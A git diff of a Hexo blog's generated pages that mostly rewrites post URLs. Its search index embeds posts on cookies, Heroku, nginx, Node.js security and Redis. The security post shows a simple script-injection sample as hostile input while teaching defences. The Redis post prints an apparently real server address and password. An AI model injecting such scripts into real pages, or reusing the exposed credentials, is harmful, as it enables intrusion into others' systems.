+        <p class="article-headline-p"><a href="/2017/08/28/如何成为一名合格的CEO.html">如何成为一名合格的CEO</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -506,7 +506,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何成为一名合格的CEO.html" target="_self">阅读全文</a>
+            <a href="/2017/08/28/如何成为一名合格的CEO.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -557,7 +557,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/前端面试准备.html">前端面试准备</a></p>
+        <p class="article-headline-p"><a href="/2017/08/27/前端面试准备.html">前端面试准备</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -567,7 +567,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/前端面试准备.html" target="_self">阅读全文</a>
+            <a href="/2017/08/27/前端面试准备.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -618,7 +618,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/commonJS和AMD-CMD.html">commonJS和AMD/CMD</a></p>
+        <p class="article-headline-p"><a href="/2017/08/23/commonJS和AMD-CMD.html">commonJS和AMD/CMD</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -628,7 +628,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/commonJS和AMD-CMD.html" target="_self">阅读全文</a>
+            <a href="/2017/08/23/commonJS和AMD-CMD.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -679,7 +679,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/七种公司永远做不大-十种老板永远不成功.html">七种公司永远做不大, 十种老板永远不成功!</a></p>
+        <p class="article-headline-p"><a href="/2017/08/22/七种公司永远做不大-十种老板永远不成功.html">七种公司永远做不大, 十种老板永远不成功!</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -689,7 +689,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/七种公司永远做不大-十种老板永远不成功.html" target="_self">阅读全文</a>
+            <a href="/2017/08/22/七种公司永远做不大-十种老板永远不成功.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -740,7 +740,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/sessionStorage-localStotage-AND-cookies.html">sessionStorage localStotage AND cookies</a></p>
+        <p class="article-headline-p"><a href="/2017/08/16/sessionStorage-localStotage-AND-cookies.html">sessionStorage localStotage AND cookies</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -750,7 +750,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/sessionStorage-localStotage-AND-cookies.html" target="_self">阅读全文</a>
+            <a href="/2017/08/16/sessionStorage-localStotage-AND-cookies.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -801,7 +801,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/wuti.html">wuti</a></p>
+        <p class="article-headline-p"><a href="/2017/07/31/wuti.html">wuti</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -811,7 +811,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/wuti.html" target="_self">阅读全文</a>
+            <a href="/2017/07/31/wuti.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -862,7 +862,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/badboy.html">badboy</a></p>
+        <p class="article-headline-p"><a href="/2017/07/30/badboy.html">badboy</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -872,7 +872,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/badboy.html" target="_self">阅读全文</a>
+            <a href="/2017/07/30/badboy.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -918,7 +918,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/关于罗永浩.html">关于罗永浩</a></p>
+        <p class="article-headline-p"><a href="/2017/07/23/关于罗永浩.html">关于罗永浩</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -928,7 +928,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/关于罗永浩.html" target="_self">阅读全文</a>
+            <a href="/2017/07/23/关于罗永浩.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -979,7 +979,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/sync-和async.html">sync 和async</a></p>
+        <p class="article-headline-p"><a href="/2017/07/21/sync-和async.html">sync 和async</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -989,7 +989,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/sync-和async.html" target="_self">阅读全文</a>
+            <a href="/2017/07/21/sync-和async.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/page/5/index.html b/public/page/5/index.html
index d1a2c78..b9cf063 100644
--- a/public/page/5/index.html
+++ b/public/page/5/index.html
@@ -212,7 +212,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/page/5/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/page/5/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -227,7 +227,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/page/5/">
+    <meta property="og:url" content="blog.jzxer.cn/page/5/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -241,7 +241,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/page/5/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/page/5/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -311,7 +311,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -321,7 +321,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -370,7 +370,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -380,7 +380,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -435,7 +435,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/css的命名规范.html">css的命名规范</a></p>
+        <p class="article-headline-p"><a href="/2017/07/17/css的命名规范.html">css的命名规范</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -445,7 +445,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/css的命名规范.html" target="_self">阅读全文</a>
+            <a href="/2017/07/17/css的命名规范.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -496,7 +496,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue-eleme.html">vue-eleme</a></p>
+        <p class="article-headline-p"><a href="/2017/07/05/vue-eleme.html">vue-eleme</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -506,7 +506,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue-eleme.html" target="_self">阅读全文</a>
+            <a href="/2017/07/05/vue-eleme.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -557,7 +557,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/sticky-footer.html">sticky-footer</a></p>
+        <p class="article-headline-p"><a href="/2017/07/02/sticky-footer.html">sticky-footer</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -567,7 +567,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/sticky-footer.html" target="_self">阅读全文</a>
+            <a href="/2017/07/02/sticky-footer.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -618,7 +618,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/我向往的明天.html">我向往的明天</a></p>
+        <p class="article-headline-p"><a href="/2017/07/01/我向往的明天.html">我向往的明天</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -628,7 +628,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/我向往的明天.html" target="_self">阅读全文</a>
+            <a href="/2017/07/01/我向往的明天.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -679,7 +679,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/div-section-article.html">div,section,article</a></p>
+        <p class="article-headline-p"><a href="/2017/06/28/div-section-article.html">div,section,article</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -689,7 +689,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/div-section-article.html" target="_self">阅读全文</a>
+            <a href="/2017/06/28/div-section-article.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -740,7 +740,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/四种常见的布局.html">四种常见的布局</a></p>
+        <p class="article-headline-p"><a href="/2017/06/28/四种常见的布局.html">四种常见的布局</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -750,7 +750,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/四种常见的布局.html" target="_self">阅读全文</a>
+            <a href="/2017/06/28/四种常见的布局.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -801,7 +801,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/论轮播图的原理.html">解析卡片式轮播图</a></p>
+        <p class="article-headline-p"><a href="/2017/06/24/论轮播图的原理.html">解析卡片式轮播图</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -811,7 +811,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/论轮播图的原理.html" target="_self">阅读全文</a>
+            <a href="/2017/06/24/论轮播图的原理.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -862,7 +862,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue学习笔记（一）.html">vue学习笔记（一）</a></p>
+        <p class="article-headline-p"><a href="/2017/06/18/vue学习笔记（一）.html">vue学习笔记（一）</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -872,7 +872,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue学习笔记（一）.html" target="_self">阅读全文</a>
+            <a href="/2017/06/18/vue学习笔记（一）.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -923,7 +923,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/搭一个windows云服务器.html">搭一个windows云服务器</a></p>
+        <p class="article-headline-p"><a href="/2017/06/16/搭一个windows云服务器.html">搭一个windows云服务器</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -933,7 +933,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/搭一个windows云服务器.html" target="_self">阅读全文</a>
+            <a href="/2017/06/16/搭一个windows云服务器.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -984,7 +984,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/hexo搭建博客.html">hexo 搭建博客初体验</a></p>
+        <p class="article-headline-p"><a href="/2017/06/16/hexo搭建博客.html">hexo 搭建博客初体验</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -994,7 +994,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/hexo搭建博客.html" target="_self">阅读全文</a>
+            <a href="/2017/06/16/hexo搭建博客.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/search.xml b/public/search.xml
index 925350a..22a1ef2 100644
--- a/public/search.xml
+++ b/public/search.xml
@@ -4,8 +4,8 @@
     
     <entry>
       <title>cookie和session</title>
-      <link href="/cookie%E5%92%8Csession.html"/>
-      <url>/cookie%E5%92%8Csession.html</url>
+      <link href="/2018/04/26/cookie%E5%92%8Csession.html"/>
+      <url>/2018/04/26/cookie%E5%92%8Csession.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h1><h2 id="cookie"><a href="#cookie" class="headerlink" title="cookie"></a>cookie</h2><p>cookie 是 HTTP 协议的一部分，处理分为以下几步：</p><ol><li><p>服务器向客户端发送 cookie，一般为 name=value 形式。</p></li><li><p>浏览器将 cookie 储存。</p></li><li><p>每次请求浏览器都会将 cookie 发给服务器。</p></li></ol><h3 id="cookie-的属性"><a href="#cookie-的属性" class="headerlink" title="cookie 的属性"></a>cookie 的属性</h3><pre><code class="js">res.cookie(&#39;isVisit&#39;, 1, {  // 储存的时间  maxAge: 10 * 1000,  // 为 true 时只在https中生效  secure: true,  // 影响路径  path: &#39;localhost&#39;,  // 是否支持 js 读取，可以预防 XSS  httpOnly: true})</code></pre><blockquote><p>isVisit 是 key 值，1 是 value。</p></blockquote><h3 id="cookie-的弊端"><a href="#cookie-的弊端" class="headerlink" title="cookie 的弊端"></a>cookie 的弊端</h3><p>数据在客户端就可以被修改，数据很容易被伪造，而且数据太多会影响传输效率。</p><h2 id="session"><a href="#session" class="headerlink" title="session"></a>session</h2><p>针对 cookie 的缺点，session 解决了这些问题，session 保存在服务端，它的运作是通过 session_id 进行，这个值一般存在客户端的 cookie 中。</p><h3 id="session-属性"><a href="#session-属性" class="headerlink" title="session 属性"></a>session 属性</h3><pre><code class="js">app.use(sessionParser({  name: &#39;author&#39;,  // 储存位置: 默认 cookie  // store: new redisStore(),  // 编码字符串  secret: &#39;recommand 128 bytes random string&#39;,  cookie: {    maxAge: 60 * 1000  },  //每次请求都重设一个cookie  rolling: false,  resave: true,  // 是指无论有没有session cookie，每次请求都设置个session cookie ，默认给个标示为 connect.sid  saveUninitialized: false}))</code></pre><h3 id="signedCookie"><a href="#signedCookie" class="headerlink" title="signedCookie"></a>signedCookie</h3><p>就是签名，专业点就是 “信息摘要算法“，例如我有一些数据想存在 cookie 中，如何保证不被篡改？</p><p>比如我们用 dotcom_user 字段设置了个值 jzxer， cookie值应该是：</p><pre><code class="json">&gt; { dotcom_user: &#39;jzxer&#39; }</code></pre><p>这样如果验证和更改，安全性都不是很高。</p><p>我们可以这样处理，设置一个 secrit_string 和 dotcom_user 做个算法(不同的账户签名不同)</p><blockquote><p>sha1(secrit_string + dotcom_user) === ‘4850a42e3bc0d39c978770392cbd8dc2923e3d1d’</p></blockquote><p>然后把 cookie 变成这样：</p><pre><code class="json">{  dotcom_user: &#39;jzxer&#39;,  dotcom_user.sig: &#39;4850a42e3bc0d39c978770392cbd8dc2923e3d1d&#39;}</code></pre><p>这样一来信息就无法伪造了，一旦更改了 cookie 中的值，就会和服务器的冲突，破解的成本也太高。</p>]]></content>
       
       <categories>
@@ -27,8 +27,8 @@
     
     <entry>
       <title>线上部署：heroku</title>
-      <link href="/%E7%BA%BF%E4%B8%8A%E9%83%A8%E7%BD%B2%EF%BC%9Aheroku.html"/>
-      <url>/%E7%BA%BF%E4%B8%8A%E9%83%A8%E7%BD%B2%EF%BC%9Aheroku.html</url>
+      <link href="/2018/04/26/%E7%BA%BF%E4%B8%8A%E9%83%A8%E7%BD%B2%EF%BC%9Aheroku.html"/>
+      <url>/2018/04/26/%E7%BA%BF%E4%B8%8A%E9%83%A8%E7%BD%B2%EF%BC%9Aheroku.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h1><p>heroku 是一个自动部署工具，可以在代码发布后马上线上跑起来，对于一个刚入门的 node 新手有利于促进你的开发热情。</p><h2 id="1-注册一个账号"><a href="#1-注册一个账号" class="headerlink" title="1. 注册一个账号"></a>1. 注册一个账号</h2><p><a href="https://www.heroku.com" target="_blank" rel="noopener">heroku</a></p><blockquote><p>注意邮箱项目可以填写阿里云邮箱，目前qq邮箱和163邮箱不支持注册。</p></blockquote><h2 id="2-配置文件：Procfile"><a href="#2-配置文件：Procfile" class="headerlink" title="2. 配置文件：Procfile"></a>2. 配置文件：Procfile</h2><p>给 heroku 指明入口文件，配置内容如下：</p><pre><code class="js">web: node app.js</code></pre><h2 id="3-下载工具包"><a href="#3-下载工具包" class="headerlink" title="3. 下载工具包"></a>3. 下载工具包</h2><p><a href="https://devcenter.heroku.com/articles/getting-started-with-nodejs#set-up" target="_blank" rel="noopener">下载链接</a></p><h2 id="4-登录账户"><a href="#4-登录账户" class="headerlink" title="4. 登录账户"></a>4. 登录账户</h2><pre><code class="js">heroku login</code></pre><h2 id="5-创建远程仓库"><a href="#5-创建远程仓库" class="headerlink" title="5. 创建远程仓库"></a>5. 创建远程仓库</h2><pre><code class="js">heroku create</code></pre><blockquote><p>此时会给出一个仓库地址，留给下文用。</p></blockquote><h2 id="6-推送到远端"><a href="#6-推送到远端" class="headerlink" title="6. 推送到远端"></a>6. 推送到远端</h2><pre><code class="js">git push &#39;给的仓库地址.git&#39; master</code></pre><h2 id="7-测试项目"><a href="#7-测试项目" class="headerlink" title="7. 测试项目"></a>7. 测试项目</h2><p>输入以下命令打开推送的内容</p><pre><code class="js">heroku open</code></pre><h2 id="8-插件"><a href="#8-插件" class="headerlink" title="8. 插件"></a>8. 插件</h2><p>heroku 有很多插件可供链接，</p>]]></content>
       
       <categories>
@@ -50,8 +50,8 @@
     
     <entry>
       <title>nginx配置和问题处理</title>
-      <link href="/nginx%E9%85%8D%E7%BD%AE%E5%92%8C%E9%97%AE%E9%A2%98%E5%A4%84%E7%90%86.html"/>
-      <url>/nginx%E9%85%8D%E7%BD%AE%E5%92%8C%E9%97%AE%E9%A2%98%E5%A4%84%E7%90%86.html</url>
+      <link href="/2018/04/26/nginx%E9%85%8D%E7%BD%AE%E5%92%8C%E9%97%AE%E9%A2%98%E5%A4%84%E7%90%86.html"/>
+      <url>/2018/04/26/nginx%E9%85%8D%E7%BD%AE%E5%92%8C%E9%97%AE%E9%A2%98%E5%A4%84%E7%90%86.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="nginx-介绍"><a href="#nginx-介绍" class="headerlink" title="nginx 介绍"></a>nginx 介绍</h1><p>Nginx (“engine x”) 是一个高性能的 HTTP 和 反向代理服务器，也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的，第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布，因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。</p><p>尽管Node.JS的性能不错，但处理静态事务确实不是他的专长，如：gzip编码，静态文件，HTTP缓存，SSL处理，负载平衡和反向代理及多站点代理等，都可以通过nginx来完成，从而减小node.js的负载，并通过nginx强大的缓存来节省您网站的流量从而提高网站的加载速度。</p><h2 id="查看-nginx-进程"><a href="#查看-nginx-进程" class="headerlink" title="查看 nginx 进程"></a>查看 nginx 进程</h2><pre><code class="t">ps aux|grep nginx</code></pre><h2 id="nginx-conf-配置"><a href="#nginx-conf-配置" class="headerlink" title="nginx.conf 配置"></a>nginx.conf 配置</h2><pre><code class="-t">server {                listen       3001;                server_name  localhost;                #charset koi8-r;                #access_log  logs/host.access.log  main;                location / {                        root   html;                        index  index.html index.htm;                }        }</code></pre><blockquote><p>大约 36 行的位置，端口号可以设置其他，最好不要用80，设置好之后重启。</p></blockquote><h2 id="nginx-问题总结"><a href="#nginx-问题总结" class="headerlink" title="nginx 问题总结"></a>nginx 问题总结</h2><h3 id="ubuntu-下卸载不干净"><a href="#ubuntu-下卸载不干净" class="headerlink" title="ubuntu 下卸载不干净"></a>ubuntu 下卸载不干净</h3><pre><code class="t">sudo apt-get remove nginx nginx-common # 卸载删除除了配置文件以外的所有文件。sudo apt-get purge nginx nginx-common # 卸载所有东东，包括删除配置文件。sudo apt-get autoremove # 在上面命令结束后执行，主要是卸载删除Nginx的不再被使用的依赖包。sudo apt-get remove nginx-full nginx-common #卸载删除两个主要的包。sudo service nginx restart  #重启nginx</code></pre>]]></content>
       
       <categories>
@@ -71,8 +71,8 @@
     
     <entry>
       <title>nodeJS性能处理（一）</title>
-      <link href="/nodeJS%E6%80%A7%E8%83%BD%E5%A4%84%E7%90%86%E4%B8%80.html"/>
-      <url>/nodeJS%E6%80%A7%E8%83%BD%E5%A4%84%E7%90%86%E4%B8%80.html</url>
+      <link href="/2018/04/25/nodeJS%E6%80%A7%E8%83%BD%E5%A4%84%E7%90%86%E4%B8%80.html"/>
+      <url>/2018/04/25/nodeJS%E6%80%A7%E8%83%BD%E5%A4%84%E7%90%86%E4%B8%80.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h1><p>目前市面上有很多后台纯 node 的项目，但是用 node 做后端还是有一系列的问题，比如稳定性，安全性，抛开这两块还要优化性能，如何提高用户的访问速度，在网络不佳（2G）的情况下如何能正常访问项目，都是一系列需要考虑的问题。本章内容针对安全性给出相关技巧。</p><h2 id="1-不要用-Eval"><a href="#1-不要用-Eval" class="headerlink" title="1. 不要用 Eval"></a>1. 不要用 Eval</h2><p>eval 的作用是将用户输入的字符串转化为可执行的代码，类似欺骗的效果，这样的坏处是会受到 XSS 攻击。</p><h2 id="2-使用-strict-模式"><a href="#2-使用-strict-模式" class="headerlink" title="2. 使用 strict 模式"></a>2. 使用 strict 模式</h2><p>严格模式下的变量声明会抛出一些隐藏的错误。</p><pre><code class="js">&#39;use strict&#39;var obj = {  a: &#39;1&#39;,  a: &#39;2&#39;}// 抛出错误 syntax error</code></pre><h2 id="3-使用-Eslint-测试代码规范"><a href="#3-使用-Eslint-测试代码规范" class="headerlink" title="3. 使用 Eslint 测试代码规范"></a>3. 使用 Eslint 测试代码规范</h2><p>可以使我们早期捕获一些 bug，并及时修正。</p><h2 id="4-全面测试"><a href="#4-全面测试" class="headerlink" title="4. 全面测试"></a>4. 全面测试</h2><p>测试很重要，不但单元要测试，还要全面测试，例如用 mocha 测试代码覆盖率。</p><h2 id="5-Unix-下不要直接使用-sudo-node-app-js"><a href="#5-Unix-下不要直接使用-sudo-node-app-js" class="headerlink" title="5. Unix 下不要直接使用 sudo node app.js"></a>5. Unix 下不要直接使用 sudo node app.js</h2><p>这样如果产生错误，会让整个系统宕机，可以使用 nginx 反向代理。</p><h2 id="6-避免-shell-command-注入"><a href="#6-避免-shell-command-注入" class="headerlink" title="6. 避免 shell command 注入"></a>6. 避免 shell command 注入</h2><pre><code class="-t">child_process.exec(&#39;ls&#39;, function (err, data) {    console.log(data);});</code></pre><p>上面的 child_process.exec 调用的是 /bin/sh ,也就是执行了一个解释器。</p><blockquote><p>为了避免这个问题，我们可以使用：child_process.execFile。</p></blockquote><h2 id="7-临时文件"><a href="#7-临时文件" class="headerlink" title="7. 临时文件"></a>7. 临时文件</h2><p>创建文件时，处理上传的文件要注意，这些文件可能会吃掉你的磁盘所有空间。</p><blockquote><p>使用 Streams。</p></blockquote><h2 id="8-加密-Web-应用"><a href="#8-加密-Web-应用" class="headerlink" title="8. 加密 Web 应用"></a>8. 加密 Web 应用</h2><p>用 https 代替 http，请求的过程可以添加签名头。</p><h2 id="9-Reflected-Cross-Site-Scripting"><a href="#9-Reflected-Cross-Site-Scripting" class="headerlink" title="9. Reflected Cross Site Scripting"></a>9. Reflected Cross Site Scripting</h2><p>也就是跨站脚本攻击，就是但用户发送一段数据，如果在未做任何处理的情况下直接插入 DOM，这可能会出现安全问题，例如：</p><pre><code class="js">//用户输入的数据中带脚本，如果不做处理，会被执行。Im human &lt;script&gt;alert(&#39;I‘m hacker&#39;)&lt;script&gt;</code></pre><blockquote><p>处理方式：1. 对插入的数据进行验证，除去 HTML。</p></blockquote><h2 id="10-看好你的-cookie"><a href="#10-看好你的-cookie" class="headerlink" title="10. 看好你的 cookie"></a>10. 看好你的 cookie</h2><p>默认情况下，cookie 可以通过 js 在同一个域中读取，这就有可能会被跨站点脚本攻击，而且可能被第三方库读取。为了处理这种情况，我们可以在 cookies 上使用 HTTPOnly，这个标签可以让 js 无法读取。</p><h2 id="11-内容安全策略（CSP）"><a href="#11-内容安全策略（CSP）" class="headerlink" title="11. 内容安全策略（CSP）"></a>11. 内容安全策略（CSP）</h2><p>附加的安全层，可以检测和缓解某类攻击，例如：XSS、数据注入。启用方法如下：</p><pre><code class="-t">Content-Security-Policy: default-src &#39;self&#39; *.mydomain.com</code></pre><h2 id="12-Cross-Site-Request-Forgery"><a href="#12-Cross-Site-Request-Forgery" class="headerlink" title="12. Cross-Site Request Forgery"></a>12. Cross-Site Request Forgery</h2><p>跨站请求伪造是一种迫使终端用户在他目前已验证授权的Web应用程序中执行其它的actions。node 社区已实现，可以使用同步令牌模式处理。</p>]]></content>
       
       <categories>
@@ -94,8 +94,8 @@
     
     <entry>
       <title>node连接阿里云redis</title>
-      <link href="/node%E8%BF%9E%E6%8E%A5%E9%98%BF%E9%87%8C%E4%BA%91redis.html"/>
-      <url>/node%E8%BF%9E%E6%8E%A5%E9%98%BF%E9%87%8C%E4%BA%91redis.html</url>
+      <link href="/2018/04/24/node%E8%BF%9E%E6%8E%A5%E9%98%BF%E9%87%8C%E4%BA%91redis.html"/>
+      <url>/2018/04/24/node%E8%BF%9E%E6%8E%A5%E9%98%BF%E9%87%8C%E4%BA%91redis.html</url>
       <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="node-连接云-redis"><a href="#node-连接云-redis" class="headerlink" title="node 连接云 redis"></a>node 连接云 redis</h1><h2 id="1-要求"><a href="#1-要求" class="headerlink" title="1. 要求"></a>1. 要求</h2><ol><li>若 Redis 实例属于专有网络（VPC），ECS 必须与 Redis 实例属于同一个 VPC。</li><li>若 Redis 实例属于经典网络，ECS 必须与 Redis 实例属于同一节点（地域）。</li><li>若 Redis 实例开启了 IP 白名单，必须将 ECS 的内网地址加入白名单列表内。</li></ol><h2 id="2-在云服务器-ECS-Linux-中安装-rinetd"><a href="#2-在云服务器-ECS-Linux-中安装-rinetd" class="headerlink" title="2. 在云服务器 ECS Linux 中安装 rinetd"></a>2. 在云服务器 ECS Linux 中安装 rinetd</h2><p>redis-cli -h 101.132.156.228 -a  r-uf60a44b13666134:’123456Jzx’</p><pre><code class="js">wget http://www.boutell.com/rinetd/http/rinetd.tar.gz&amp;&amp;tar -xvf rinetd.tar.gz&amp;&amp;cd rinetdsed -i &#39;s/65536/65535/g&#39; rinetd.c (修改端口范围)mkdir /usr/man&amp;&amp;make&amp;&amp;make install</code></pre><blockquote><p>注意：rinetd 安装包下载地址不确保下载可用性，您可以自行搜索安装包进行下载使用。</p></blockquote><h2 id="3-打开配置文件-rinetd-conf"><a href="#3-打开配置文件-rinetd-conf" class="headerlink" title="3. 打开配置文件 rinetd.conf"></a>3. 打开配置文件 rinetd.conf</h2><p>vi /etc/rinetd.conf</p><h2 id="4-在配置文件中输入如下内容"><a href="#4-在配置文件中输入如下内容" class="headerlink" title="4. 在配置文件中输入如下内容"></a>4. 在配置文件中输入如下内容</h2><pre><code class="js">0.0.0.0 6379 Redis 的链接地址 6379logfile /var/log/rinetd.log</code></pre><blockquote><p>说明：您可以使用 cat /etc/rinetd.conf命令来检验配置文件是否修改正确。</p></blockquote><h2 id="5-执行如下命令启动-rinetd"><a href="#5-执行如下命令启动-rinetd" class="headerlink" title="5. 执行如下命令启动 rinetd"></a>5. 执行如下命令启动 rinetd</h2><pre><code class="js">rinetd</code></pre><blockquote><p>注意<br>○ 您可以通过 echo rinetd 